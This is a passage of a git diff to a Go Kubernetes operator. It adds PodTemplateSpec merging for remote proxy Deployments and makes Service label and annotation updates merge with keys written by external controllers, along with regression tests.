deploymentForMCPRemoteProxy( }, } + if err := r.applyPodTemplateSpecToDeployment(ctx, proxy, dep); err != nil { + log.FromContext(ctx).Error(err, "Failed to apply PodTemplateSpec to Deployment", + "mcpremoteproxy", proxy.Name, + "namespace", proxy.Namespace) + return nil + } + if err := controllerutil.SetControllerReference(proxy, dep, r.Scheme); err != nil { ctxLogger := log.FromContext(ctx) ctxLogger.Error(err, "Failed to set controller reference for Deployment") @@ -423,6 +417,13 @@ func (*MCPRemoteProxyReconciler) buildDeploymentMetadata( deploymentLabels := baseLabels deploymentAnnotations := make(map[string]string) + if proxy.Spec.PodTemplateSpec != nil && len(proxy.Spec.PodTemplateSpec.Raw) > 0 { + hash, err := checksum.HashRawJSON(proxy.Spec.PodTemplateSpec.Raw) + if err == nil { + deploymentAnnotations[podTemplateSpecHashAnnotation] = hash + } + } + if proxy.Spec.ResourceOverrides != nil && proxy.Spec.ResourceOverrides.ProxyDeployment != nil { if proxy.Spec.ResourceOverrides.ProxyDeployment.Labels != nil { deploymentLabels = ctrlutil.MergeLabels(baseLabels, proxy.Spec.ResourceOverrides.ProxyDeployment.Labels) @@ -437,6 +438,33 @@ func (*MCPRemoteProxyReconciler) buildDeploymentMetadata( return deploymentLabels, deploymentAnnotations } +// applyPodTemplateSpecToDeployment applies user-provided PodTemplateSpec customizations +// to the generated MCPRemoteProxy Deployment using Kubernetes strategic merge semantics. +func (*MCPRemoteProxyReconciler) applyPodTemplateSpecToDeployment( + ctx context.Context, + proxy *mcpv1beta1.MCPRemoteProxy, + deployment *appsv1.Deployment, +) error { + if proxy.Spec.PodTemplateSpec == nil || len(proxy.Spec.PodTemplateSpec.Raw) == 0 { + return nil + } + + if _, err := ctrlutil.NewPodTemplateSpecBuilder(proxy.Spec.PodTemplateSpec, mcpRemoteProxyContainerName); err != nil { + return fmt.Errorf("failed to build PodTemplateSpec: %w", err) + } + + merged, err := ctrlutil.ApplyPodTemplateSpecPatch(deployment.Spec.Template, proxy.Spec.PodTemplateSpec.Raw) + if err != nil { + return err + } + deployment.Spec.Template = merged + + log.FromContext(ctx).V(1).Info("Applied PodTemplateSpec customizations to deployment", + "mcpremoteproxy", proxy.Name, + "namespace", proxy.Namespace) + return nil +} + // buildPodTemplateMetadata builds pod template labels and annotations. // // The runConfigChecksum parameter must be a non-empty SHA256 hash of the RunConfig. diff --git a/cmd/thv-operator/controllers/mcpremoteproxy_deployment_test.go b/cmd/thv-operator/controllers/mcpremoteproxy_deployment_test.go index f4229e2f63..97863ee7d5 100644 --- a/cmd/thv-operator/controllers/mcpremoteproxy_deployment_test.go +++ b/cmd/thv-operator/controllers/mcpremoteproxy_deployment_test.go @@ -26,6 +26,7 @@ import ( rbacv1 "k8s.io/api/rbac/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/runtime" + "k8s.io/apimachinery/pkg/types" "sigs.k8s.io/controller-runtime/pkg/client/fake" mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" @@ -605,6 +606,55 @@ func TestEnsureService(t *testing.T) { } } +// TestMCPRemoteProxyEnsureService_PreservesExternalAnnotations is a regression test for +// #5730: when a genuine operator-owned change triggers a Service update, annotations +// written by an external controller (e.g. GKE NEG) must be merged, not stripped. +func TestMCPRemoteProxyEnsureService_PreservesExternalAnnotations(t *testing.T) { + t.Parallel() + + proxy := v1beta1test.NewMCPRemoteProxy("ext-annot-proxy", "default") + + // Existing Service co-owned by GKE (external annotation) with an operator-owned field + // drifted (empty session affinity) so serviceNeedsUpdate fires. + existing := &corev1.Service{ + ObjectMeta: metav1.ObjectMeta{ + Name: createProxyServiceName(proxy.Name), + Namespace: proxy.Namespace, + Labels: labelsForMCPRemoteProxy(proxy.Name), + Annotations: map[string]string{ + "cloud.google.com/neg-status": `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + }, + }, + Spec: corev1.ServiceSpec{ + SessionAffinity: "", + Ports: []corev1.ServicePort{{Port: 8080}}, + }, + } + + scheme := testutil.NewScheme(t) + _ = rbacv1.AddToScheme(scheme) + _ = appsv1.AddToScheme(scheme) + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(proxy, existing). + Build() + reconciler := &MCPRemoteProxyReconciler{Client: fakeClient, Scheme: scheme} + + _, err := reconciler.ensureService(context.TODO(), proxy) + require.NoError(t, err) + + updated := &corev1.Service{} + require.NoError(t, fakeClient.Get(context.TODO(), types.NamespacedName{ + Name: createProxyServiceName(proxy.Name), + Namespace: proxy.Namespace, + }, updated)) + // External annotation preserved... + assert.Equal(t, `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + updated.Annotations["cloud.google.com/neg-status"]) + // ...and the operator-owned field corrected. + assert.Equal(t, corev1.ServiceAffinityClientIP, updated.Spec.SessionAffinity) +} + func TestMCPRemoteProxyDeploymentNeedsUpdate_EmbeddedAuthLegacyEnvStable(t *testing.T) { t.Parallel() @@ -1182,6 +1232,19 @@ func TestMCPRemoteProxyServiceNeedsUpdate(t *testing.T) { }(), needsUpdate: false, }, + { + // Regression for #5730: external controllers (e.g. GKE NEG/Gateway) write + // cloud.google.com/* annotations on the Service. These are not operator-owned + // and must not be treated as drift, or the operator hot-loops Update. + name: "external cloud annotations ignored", + service: func() *corev1.Service { + s := baseService.DeepCopy() + s.Annotations["cloud.google.com/neg-status"] = `{"network_endpoint_groups":{"8080":"k8s1-abc"}}` + return s + }(), + proxy: baseProxy.DeepCopy(), + needsUpdate: false, + }, } for _, tt := range tests { diff --git a/cmd/thv-operator/controllers/mcpremoteproxy_podtemplatespec_test.go b/cmd/thv-operator/controllers/mcpremoteproxy_podtemplatespec_test.go new file mode 100644 index 0000000000..1ce01389cb --- /dev/null +++ b/cmd/thv-operator/controllers/mcpremoteproxy_podtemplatespec_test.go @@ -0,0 +1,238 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package controllers + +import ( + stderrors "errors" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + corev1 "k8s.io/api/core/v1" + "k8s.io/apimachinery/pkg/api/meta" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/apimachinery/pkg/runtime" + "k8s.io/apimachinery/pkg/types" + "k8s.io/client-go/tools/events" + "sigs.k8s.io/controller-runtime/pkg/client/fake" + + mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + "github.com/stacklok/toolhive/cmd/thv-operator/internal/testutil" + ctrlutil "github.com/stacklok/toolhive/cmd/thv-operator/pkg/controllerutil" +) + +func rawPodTemplateSpecJSON(t *testing.T, raw string) *runtime.RawExtension { + t.Helper() + return &runtime.RawExtension{Raw: []byte(raw)} +} + +func TestMCPRemoteProxyPodTemplateSpecValidation(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + podTemplateSpec *runtime.RawExtension + expectError bool + expectedPhase mcpv1beta1.MCPRemoteProxyPhase + expectedCondition metav1.ConditionStatus + expectedReason string + expectedStatusMessage string + }{ + { + name: "valid PodTemplateSpec", + podTemplateSpec: rawPodTemplateSpecJSON(t, `{"spec":{"nodeSelector":{"disk":"ssd"}}}`), + expectedCondition: metav1.ConditionTrue, + expectedReason: mcpv1beta1.ConditionReasonMCPRemoteProxyPodTemplateValid, + }, + { + name: "invalid PodTemplateSpec", + podTemplateSpec: &runtime.RawExtension{ + Raw: []byte(`{"spec":{"containers":"not-a-container-list"}}`), + }, + expectError: true, + expectedPhase: mcpv1beta1.MCPRemoteProxyPhaseFailed, + expectedCondition: metav1.ConditionFalse, + expectedReason: mcpv1beta1.ConditionReasonMCPRemoteProxyPodTemplateInvalid, + expectedStatusMessage: "Invalid PodTemplateSpec", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + proxy := &mcpv1beta1.MCPRemoteProxy{ + ObjectMeta: metav1.ObjectMeta{ + Name: "template-proxy", + Namespace: "default", + Generation: 3, + }, + Spec: mcpv1beta1.MCPRemoteProxySpec{ + RemoteURL: "https://mcp.example.com", + PodTemplateSpec: tt.podTemplateSpec, + }, + } + scheme := testutil.NewScheme(t) + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithRuntimeObjects(proxy). + WithStatusSubresource(&mcpv1beta1.MCPRemoteProxy{}). + Build() + reconciler := &MCPRemoteProxyReconciler{ + Client: fakeClient, + Scheme: scheme, + Recorder: events.NewFakeRecorder(10), + } + + err := reconciler.validateAndHandleConfigs(t.Context(), proxy) + if tt.expectError { + require.Error(t, err) + assert.True(t, stderrors.Is(err, errInvalidMCPRemoteProxyPodTemplateSpec)) + } else { + require.NoError(t, err) + } + + updated := &mcpv1beta1.MCPRemoteProxy{} + require.NoError(t, fakeClient.Get(t.Context(), types.NamespacedName{ + Name: proxy.Name, + Namespace: proxy.Namespace, + }, updated)) + + condition := meta.FindStatusCondition( + updated.Status.Conditions, + mcpv1beta1.ConditionTypeMCPRemoteProxyPodTemplateValid, + ) + require.NotNil(t, condition) + assert.Equal(t, tt.expectedCondition, condition.Status) + assert.Equal(t, tt.expectedReason, condition.Reason) + assert.Equal(t, proxy.Generation, condition.ObservedGeneration) + + if tt.expectedPhase != "" { + assert.Equal(t, tt.expectedPhase, updated.Status.Phase) + } + if tt.expectedStatusMessage != "" { + assert.Contains(t, updated.Status.Message, tt.expectedStatusMessage) + } + }) + } +} + +func TestMCPRemoteProxyPodTemplateSpecMerge(t *testing.T) { + t.Parallel() + + proxy := &mcpv1beta1.MCPRemoteProxy{ + ObjectMeta: metav1.ObjectMeta{ + Name: "template-proxy", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPRemoteProxySpec{ + RemoteURL: "https://mcp.example.com", + PodTemplateSpec: rawPodTemplateSpecJSON(t, `{ + "metadata": { + "labels": {"custom-template-label": "enabled"}, + "annotations": {"custom-template-annotation": "enabled"} + }, + "spec": { + "nodeSelector": {"disk": "ssd"}, + "tolerations": [{ + "key": "dedicated", + "operator": "Equal", + "value": "toolhive", + "effect": "NoSchedule" + }], + "containers": [{ + "name": "toolhive", + "env": [{"name": "EXTRA_PROXY_ENV", "value": "enabled"}] + }, { + "name": "sidecar", + "image": "busybox:latest", + "args": ["sleep", "3600"] + }] + } + }`), + }, + } + + scheme := testutil.NewScheme(t) + reconciler := &MCPRemoteProxyReconciler{ + Scheme: scheme, + PlatformDetector: ctrlutil.NewSharedPlatformDetector(), + } + + deployment := reconciler.deploymentForMCPRemoteProxy(t.Context(), proxy, "test-checksum") + require.NotNil(t, deployment) + + assert.Equal(t, "ssd", deployment.Spec.Template.Spec.NodeSelector["disk"]) + require.Len(t, deployment.Spec.Template.Spec.Tolerations, 1) + assert.Equal(t, "enabled", deployment.Spec.Template.Labels["custom-template-label"]) + assert.Equal(t, "enabled", deployment.Spec.Template.Annotations["custom-template-annotation"]) + assert.Contains(t, deployment.Annotations, podTemplateSpecHashAnnotation) + + toolhiveContainer, ok := findContainerByName(deployment.Spec.Template.Spec.Containers, mcpRemoteProxyContainerName) + require.True(t, ok) + assert.Equal(t, getToolhiveRunnerImage(), toolhiveContainer.Image) + assert.Contains(t, toolhiveContainer.Args, "run") + assert.Contains(t, toolhiveContainer.Env, corev1.EnvVar{Name: "EXTRA_PROXY_ENV", Value: "enabled"}) + + sidecar, ok := findContainerByName(deployment.Spec.Template.Spec.Containers, "sidecar") + require.True(t, ok) + assert.Equal(t, "busybox:latest", sidecar.Image) +} + +func TestMCPRemoteProxyPodTemplateSpecMergeAppliesFieldsOutsideBuilderEmptinessCheck(t *testing.T) { + t.Parallel() + + proxy := &mcpv1beta1.MCPRemoteProxy{ + ObjectMeta: metav1.ObjectMeta{ + Name: "template-proxy", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPRemoteProxySpec{ + RemoteURL: "https://mcp.example.com", + PodTemplateSpec: rawPodTemplateSpecJSON(t, `{"spec":{"runtimeClassName":"gvisor"}}`), + }, + } + + scheme := testutil.NewScheme(t) + reconciler := &MCPRemoteProxyReconciler{ + Scheme: scheme, + PlatformDetector: ctrlutil.NewSharedPlatformDetector(), + } + + deployment := reconciler.deploymentForMCPRemoteProxy(t.Context(), proxy, "test-checksum") + require.NotNil(t, deployment) + require.NotNil(t, deployment.Spec.Template.Spec.RuntimeClassName) + assert.Equal(t, "gvisor", *deployment.Spec.Template.Spec.RuntimeClassName) +} + +func TestMCPRemoteProxyPodTemplateSpecDriftDetection(t *testing.T) { + t.Parallel() + + proxy := &mcpv1beta1.MCPRemoteProxy{ + ObjectMeta: metav1.ObjectMeta{ + Name: "template-proxy", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPRemoteProxySpec{ + RemoteURL: "https://mcp.example.com", + PodTemplateSpec: rawPodTemplateSpecJSON(t, `{"spec":{"nodeSelector":{"disk":"ssd"}}}`), + }, + } + + scheme := testutil.NewScheme(t) + reconciler := &MCPRemoteProxyReconciler{ + Scheme: scheme, + PlatformDetector: ctrlutil.NewSharedPlatformDetector(), + } + + deployment := reconciler.deploymentForMCPRemoteProxy(t.Context(), proxy, "test-checksum") + require.NotNil(t, deployment) + assert.False(t, reconciler.deploymentNeedsUpdate(t.Context(), deployment, proxy, "test-checksum")) + + proxy.Spec.PodTemplateSpec = rawPodTemplateSpecJSON(t, `{"spec":{"nodeSelector":{"disk":"nvme"}}}`) + assert.True(t, reconciler.deploymentNeedsUpdate(t.Context(), deployment, proxy, "test-checksum")) + + proxy.Spec.PodTemplateSpec = nil + assert.True(t, reconciler.deploymentNeedsUpdate(t.Context(), deployment, proxy, "test-checksum")) +} diff --git a/cmd/thv-operator/controllers/mcpserver_controller.go b/cmd/thv-operator/controllers/mcpserver_controller.go index 273975c6c3..86fc12ce70 100644 --- a/cmd/thv-operator/controllers/mcpserver_controller.go +++ b/cmd/thv-operator/controllers/mcpserver_controller.go @@ -29,7 +29,7 @@ import ( "k8s.io/apimachinery/pkg/util/intstr" "k8s.io/client-go/tools/events" ctrl "sigs.k8s.io/controller-runtime" - "sigs.k8s.io/controller-runtime/pkg/builder" + ctrlbuilder "sigs.k8s.io/controller-runtime/pkg/builder" "sigs.k8s.io/controller-runtime/pkg/client" "sigs.k8s.io/controller-runtime/pkg/controller/controllerutil" "sigs.k8s.io/controller-runtime/pkg/handler" @@ -514,8 +514,11 @@ func (r *MCPServerReconciler) Reconcile(ctx context.Context, req ctrl.Request) ( newService := r.serviceForMCPServer(ctx, mcpServer) service.Spec.Ports = newService.Spec.Ports service.Spec.SessionAffinity = newService.Spec.SessionAffinity - service.Labels = newService.Labels - service.Annotations = newService.Annotations + // Merge (not replace) Labels/Annotations so keys written by external controllers + // (e.g. GKE NEG's cloud.google.com/* annotations) are preserved while the + // operator-owned values are applied. + service.Labels = ctrlutil.MergeLabels(newService.Labels, service.Labels) + service.Annotations = ctrlutil.MergeAnnotations(newService.Annotations, service.Annotations) err = r.Update(ctx, service) if err != nil { ctxLogger.Error(err, "Failed to update Service", "Service.Namespace", service.Namespace, "Service.Name", service.Name) @@ -870,6 +873,8 @@ func (r *MCPServerReconciler) performRestart(ctx context.Context, mcpServer *mcp // getRunConfigChecksum fetches the RunConfig ConfigMap checksum annotation for this server. // Uses the shared RunConfigChecksumFetcher to maintain consistency with MCPRemoteProxy. +// +//nolint:unused // dp-stable takes the checksum from ensureRunConfigConfigMap (e88959899) func (r *MCPServerReconciler) getRunConfigChecksum( ctx context.Context, mcpServer *mcpv1beta1.MCPServer, ) (string, error) { @@ -1742,7 +1747,7 @@ func (r *MCPServerReconciler) cleanupLegacyMCPServerResources( ) (bool, error) { deleted := false - for _, resource := range []struct { + for _, legacy := range []struct { obj client.Object name string kind string @@ -1751,7 +1756,7 @@ func (r *MCPServerReconciler) cleanupLegacyMCPServerResources( {obj: &corev1.Service{}, name: fmt.Sprintf("mcp-%s-headless", m.Name), kind: "Service"}, {obj: &corev1.Service{}, name: fmt.Sprintf("mcp-%s", m.Name), kind: "Service"}, } { - removed, err := r.deleteLegacyMCPServerResourceIfOwned(ctx, m, resource.obj, resource.name, resource.kind) + removed, err := r.deleteLegacyMCPServerResourceIfOwned(ctx, m, legacy.obj, legacy.name, legacy.kind) if err != nil { return deleted, err } @@ -2189,11 +2194,15 @@ func serviceNeedsUpdate(service *corev1.Service, mcpServer *mcpv1beta1.MCPServer } } - if !maps.Equal(service.Labels, expectedLabels) { + // Subset check rather than exact equality: the Service is co-owned by external + // controllers (e.g. GKE NEG/Gateway writes cloud.google.com/* annotations), so only + // the operator-owned keys must match. maps.Equal would treat those external + // annotations as drift and hot-loop Update against the concurrent writer. + if !ctrlutil.MapIsSubset(expectedLabels, service.Labels) { return true } - if !maps.Equal(service.Annotations, expectedAnnotations) { + if !ctrlutil.MapIsSubset(expectedAnnotations, service.Annotations) { return true } @@ -3044,7 +3053,7 @@ func (r *MCPServerReconciler) SetupWithManager(mgr ctrl.Manager) error { toolConfigHandler := handler.EnqueueRequestsFromMapFunc(r.mapToolConfigToServers) return ctrl.NewControllerManagedBy(mgr). - For(&mcpv1beta1.MCPServer{}, builder.WithPredicates(predicate.Or( + For(&mcpv1beta1.MCPServer{}, ctrlbuilder.WithPredicates(predicate.Or( predicate.GenerationChangedPredicate{}, predicate.AnnotationChangedPredicate{}, ))). diff --git a/cmd/thv-operator/controllers/mcpserver_resource_overrides_test.go b/cmd/thv-operator/controllers/mcpserver_resource_overrides_test.go index 4f156516db..e67d310766 100644 --- a/cmd/thv-operator/controllers/mcpserver_resource_overrides_test.go +++ b/cmd/thv-operator/controllers/mcpserver_resource_overrides_test.go @@ -1180,6 +1180,19 @@ func TestMCPServerServiceNeedsUpdate(t *testing.T) { }(), needsUpdate: false, }, + { + // Regression for #5730: external controllers (e.g. GKE NEG/Gateway) write + // cloud.google.com/* annotations on the Service. These are not operator-owned + // and must not be treated as drift, or the operator hot-loops Update. + name: "external cloud annotations ignored", + service: func() *corev1.Service { + s := baseService.DeepCopy() + s.Annotations["cloud.google.com/neg-status"] = `{"network_endpoint_groups":{"8080":"k8s1-abc"}}` + return s + }(), + mcpServer: baseMCPServer.DeepCopy(), + needsUpdate: false, + }, } for _, tt := range tests { diff --git a/cmd/thv-operator/controllers/mcpserver_service_annotations_test.go b/cmd/thv-operator/controllers/mcpserver_service_annotations_test.go new file mode 100644 index 0000000000..e995ba6b40 --- /dev/null +++ b/cmd/thv-operator/controllers/mcpserver_service_annotations_test.go @@ -0,0 +1,80 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package controllers + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + corev1 "k8s.io/api/core/v1" + "k8s.io/apimachinery/pkg/types" + ctrl "sigs.k8s.io/controller-runtime" + "sigs.k8s.io/controller-runtime/pkg/client/fake" + + mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1/v1beta1test" + "github.com/stacklok/toolhive/cmd/thv-operator/internal/testutil" + ctrlutil "github.com/stacklok/toolhive/cmd/thv-operator/pkg/controllerutil" + "github.com/stacklok/toolhive/pkg/container/kubernetes" +) + +// TestMCPServerReconcile_PreservesExternalServiceAnnotations is a regression test for +// #5730: when a genuine operator-owned change triggers the inline Service update in +// Reconcile, annotations written by an external controller (e.g. GKE NEG) must be +// merged, not stripped, otherwise the operator hot-loops Update against the concurrent +// writer. +func TestMCPServerReconcile_PreservesExternalServiceAnnotations(t *testing.T) { + t.Parallel() + + const name = "ext-annot-server" + namespace := testNamespaceDefault + + mcpServer := v1beta1test.NewMCPServer(name, namespace, v1beta1test.WithTransport("sse")) + + scheme := testutil.NewScheme(t) + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(mcpServer). + WithStatusSubresource(&mcpv1beta1.MCPServer{}). + Build() + r := newTestMCPServerReconciler(fakeClient, scheme, kubernetes.PlatformKubernetes) + + req := ctrl.Request{NamespacedName: types.NamespacedName{Name: name, Namespace: namespace}} + // Drive to steady state; successive passes create the Deployment and Service. + for range 6 { + _, err := r.Reconcile(t.Context(), req) + require.NoError(t, err) + } + + svcName := ctrlutil.CreateProxyServiceName(name) + svcKey := types.NamespacedName{Name: svcName, Namespace: namespace} + + // An external controller (GKE NEG) writes an annotation, and an operator-owned field + // drifts (empty session affinity) so serviceNeedsUpdate fires on the next reconcile. + svc := &corev1.Service{} + require.NoError(t, fakeClient.Get(t.Context(), svcKey, svc)) + if svc.Annotations == nil { + svc.Annotations = map[string]string{} + } + svc.Annotations["cloud.google.com/neg-status"] = `{"network_endpoint_groups":{"8080":"k8s1-abc"}}` + svc.Spec.SessionAffinity = "" + require.NoError(t, fakeClient.Update(t.Context(), svc)) + + // Reconcile again; the inline Service update path merges rather than replaces. + for range 3 { + _, err := r.Reconcile(t.Context(), req) + require.NoError(t, err) + } + + updated := &corev1.Service{} + require.NoError(t, fakeClient.Get(t.Context(), svcKey, updated)) + // External annotation preserved... + assert.Equal(t, `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + updated.Annotations["cloud.google.com/neg-status"], + "external annotation must survive the operator Service update") + // ...and the operator-owned field corrected. + assert.Equal(t, corev1.ServiceAffinityClientIP, updated.Spec.SessionAffinity, + "operator-owned session affinity should be reconciled back to the default") +} diff --git a/cmd/thv-operator/controllers/podtemplatespec_constants.go b/cmd/thv-operator/controllers/podtemplatespec_constants.go new file mode 100644 index 0000000000..bffaf9f7c3 --- /dev/null +++ b/cmd/thv-operator/controllers/podtemplatespec_constants.go @@ -0,0 +1,11 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package controllers + +const ( + // podTemplateSpecHashAnnotation tracks the SHA256 hash of a user-provided PodTemplateSpec. + // It is used by workload reconcilers to detect changes without comparing full rendered + // templates, which may include Kubernetes-defaulted fields. + podTemplateSpecHashAnnotation = "toolhive.stacklok.io/podtemplatespec-hash" +) diff --git a/cmd/thv-operator/controllers/virtualmcpserver_controller.go b/cmd/thv-operator/controllers/virtualmcpserver_controller.go index d1b02edc8c..d18ba781a9 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_controller.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_controller.go @@ -11,7 +11,6 @@ import ( "encoding/base64" stderrors "errors" "fmt" - "maps" "net/url" "reflect" "slices" @@ -64,6 +63,10 @@ const ( authContextDefault = "default" authContextBackendPrefix = "backend:" authContextDiscoveredPrefix = "discovered:" + + // authReasonAmbiguousSubjectProvider is the condition Reason surfaced when + // injectSubjectProviderIfNeeded returns authtypes.ErrAmbiguousSubjectProvider. + authReasonAmbiguousSubjectProvider = "AmbiguousSubjectProvider" ) // AuthConfigError represents a single auth config conversion failure. @@ -109,6 +112,16 @@ func authConfigErrorReason(authErr *AuthConfigError) string { return "ConversionFailed" } +// subjectProviderErrorReason maps an error returned by injectSubjectProviderIfNeeded +// to a condition Reason. Falls back to "" so the caller's AuthConfigError.Reason +// stays empty and authConfigErrorReason applies its default ("ConversionFailed"). +func subjectProviderErrorReason(err error) string { + if stderrors.Is(err, authtypes.ErrAmbiguousSubjectProvider) { + return authReasonAmbiguousSubjectProvider + } + return "" +} + // VirtualMCPServerReconciler reconciles a VirtualMCPServer object // // Resource Cleanup Strategy: @@ -1429,7 +1442,7 @@ func (r *VirtualMCPServerReconciler) getVmcpConfigChecksum( // ensureDeployment ensures the Deployment exists and is up to date // -//nolint:unparam // ctrl.Result needed for ConfigMap not found case (RequeueAfter) +//nolint:unparam,gocyclo // ctrl.Result needed for ConfigMap not found case (RequeueAfter); fork conflict requeues add branches func (r *VirtualMCPServerReconciler) ensureDeployment( ctx context.Context, vmcp *mcpv1beta1.VirtualMCPServer, @@ -1506,7 +1519,7 @@ func (r *VirtualMCPServerReconciler) ensureDeployment( // loop will retry automatically. Kubernetes' optimistic locking prevents data loss. deployment.Spec.Template = newDeployment.Spec.Template deployment.Labels = newDeployment.Labels - deployment.Annotations = ctrlutil.MergeAnnotations(newDeployment.Annotations, deployment.Annotations) + deployment.Annotations = mergeDeploymentAnnotations(newDeployment.Annotations, deployment.Annotations) if newDeployment.Spec.Replicas != nil { deployment.Spec.Replicas = newDeployment.Spec.Replicas } @@ -1601,11 +1614,15 @@ func (r *VirtualMCPServerReconciler) ensureService( // - Preserve Spec.ClusterIP: Immutable field, cannot be changed // - Preserve Spec.HealthCheckNodePort: Set by cloud provider for LoadBalancer // - Preserve ResourceVersion, UID: Required for optimistic concurrency control + // - Merge (not replace) Labels/Annotations: preserve keys written by external + // controllers (e.g. GKE NEG's cloud.google.com/* annotations) while applying + // the operator-owned values; a wholesale replace would strip them and race the + // concurrent writer. service.Spec.Ports = newService.Spec.Ports service.Spec.Type = newService.Spec.Type service.Spec.SessionAffinity = newService.Spec.SessionAffinity - service.Labels = newService.Labels - service.Annotations = newService.Annotations + service.Labels = ctrlutil.MergeLabels(newService.Labels, service.Labels) + service.Annotations = ctrlutil.MergeAnnotations(newService.Annotations, service.Annotations) ctxLogger.Info("Updating Service", "Service.Namespace", service.Namespace, "Service.Name", service.Name) if err := r.Update(ctx, service); err != nil { @@ -1827,13 +1844,13 @@ func (*VirtualMCPServerReconciler) podTemplateSpecNeedsUpdate( return true } - builder, err := ctrlutil.NewPodTemplateSpecBuilder(vmcp.Spec.PodTemplateSpec, "vmcp") + specBuilder, err := ctrlutil.NewPodTemplateSpecBuilder(vmcp.Spec.PodTemplateSpec, "vmcp") if err != nil { log.FromContext(ctx).Error(err, "Failed to parse PodTemplateSpec for drift detection, assuming update needed") return true } - expectedNodeSelector, expectedTolerations, expectedAffinity := builder.SchedulingSpec() + expectedNodeSelector, expectedTolerations, expectedAffinity := specBuilder.SchedulingSpec() podSpec := deployment.Spec.Template.Spec if len(expectedNodeSelector) > 0 && !equality.Semantic.DeepEqual(podSpec.NodeSelector, expectedNodeSelector) { @@ -1849,6 +1866,22 @@ func (*VirtualMCPServerReconciler) podTemplateSpecNeedsUpdate( return false } +// mergeDeploymentAnnotations merges desired Deployment annotations onto the +// live ones via ctrlutil.MergeAnnotations, then prunes imagePullRefsHashAnnotation +// from the result if desired no longer wants it. MergeAnnotations preserves any +// live key absent from desired so externally-managed annotations survive, but +// imagePullRefsHashAnnotation is operator-owned: when the desired imagePullSecrets +// list is empty, desired carries no annotation for it, and a stale value left by +// a prior reconcile must be pruned explicitly or it survives forever and +// imagePullSecretsNeedsUpdate flags drift on every reconcile (#5817). +func mergeDeploymentAnnotations(desired, live map[string]string) map[string]string { + merged := ctrlutil.MergeAnnotations(desired, live) + if _, wantHash := desired[imagePullRefsHashAnnotation]; !wantHash { + delete(merged, imagePullRefsHashAnnotation) + } + return merged +} + // imagePullSecretsNeedsUpdate detects drift on the desired imagePullSecrets // list (chart-level defaults merged with vmcp.Spec.ImagePullSecrets) by // comparing a hash of the desired list against the value stored in @@ -1859,6 +1892,12 @@ func (*VirtualMCPServerReconciler) podTemplateSpecNeedsUpdate( // would either flag spurious drift or miss real changes depending on // PodTemplateSpec content. PodTemplateSpec drift is covered separately by // podTemplateSpecNeedsUpdate. +// +// A missing annotation reads as "" via map indexing, which equals an empty +// expected hash — so an absent annotation with an empty desired list is +// correctly the steady state. The write path in ensureDeployment is +// responsible for actually deleting the annotation once it is no longer +// wanted; without that, this comparison would flag drift every reconcile. func (r *VirtualMCPServerReconciler) imagePullSecretsNeedsUpdate( ctx context.Context, deployment *appsv1.Deployment, @@ -1873,12 +1912,6 @@ func (r *VirtualMCPServerReconciler) imagePullSecretsNeedsUpdate( log.FromContext(ctx).Error(err, "Failed to hash imagePullSecrets, assuming update needed") return true } - // An empty desired list means the annotation should be absent; an absent annotation - // with an empty desired list is the steady state and must not trigger an update. - _, present := deployment.Annotations[imagePullRefsHashAnnotation] - if expectedHash == "" { - return present - } return deployment.Annotations[imagePullRefsHashAnnotation] != expectedHash } @@ -1916,17 +1949,21 @@ func (*VirtualMCPServerReconciler) serviceNeedsUpdate( return true } - // Check if service metadata has changed + // Check if service metadata has changed. Use a subset check rather than exact + // equality: the Service is co-owned by external controllers (e.g. GKE NEG/Gateway + // writes cloud.google.com/* annotations), so only the operator-owned keys must + // match. Comparing with maps.Equal would treat those external annotations as drift + // and hot-loop Update against the concurrent writer. expectedLabels := labelsForVirtualMCPServer(vmcp.Name) expectedAnnotations := make(map[string]string) // TODO: Add support for ResourceOverrides if needed in the future - if !maps.Equal(service.Labels, expectedLabels) { + if !ctrlutil.MapIsSubset(expectedLabels, service.Labels) { return true } - if !maps.Equal(service.Annotations, expectedAnnotations) { + if !ctrlutil.MapIsSubset(expectedAnnotations, service.Annotations) { return true } @@ -2268,6 +2305,14 @@ func (*VirtualMCPServerReconciler) convertExternalAuthConfigToStrategy( externalAuthConfig.Spec.HeaderInjection.ValueSecretRef != nil { strategy.HeaderInjection.HeaderValueEnv = ctrlutil.GenerateUniqueHeaderInjectionEnvVarName(externalAuthConfig.Name) } + if strategy.XAA != nil && externalAuthConfig.Spec.XAA != nil { + if externalAuthConfig.Spec.XAA.IDPClientSecretRef != nil { + strategy.XAA.IDPClientSecretEnv = ctrlutil.GenerateUniqueXAAIDPSecretEnvVarName(externalAuthConfig.Name) + } + if externalAuthConfig.Spec.XAA.TargetClientSecretRef != nil { + strategy.XAA.TargetClientSecretEnv = ctrlutil.GenerateUniqueXAATargetSecretEnvVarName(externalAuthConfig.Name) + } + } return strategy, nil } @@ -2443,12 +2488,24 @@ func (r *VirtualMCPServerReconciler) discoverExternalAuthConfigs( continue } - // Only add if not already overridden in inline config - if vmcp.Spec.OutgoingAuth 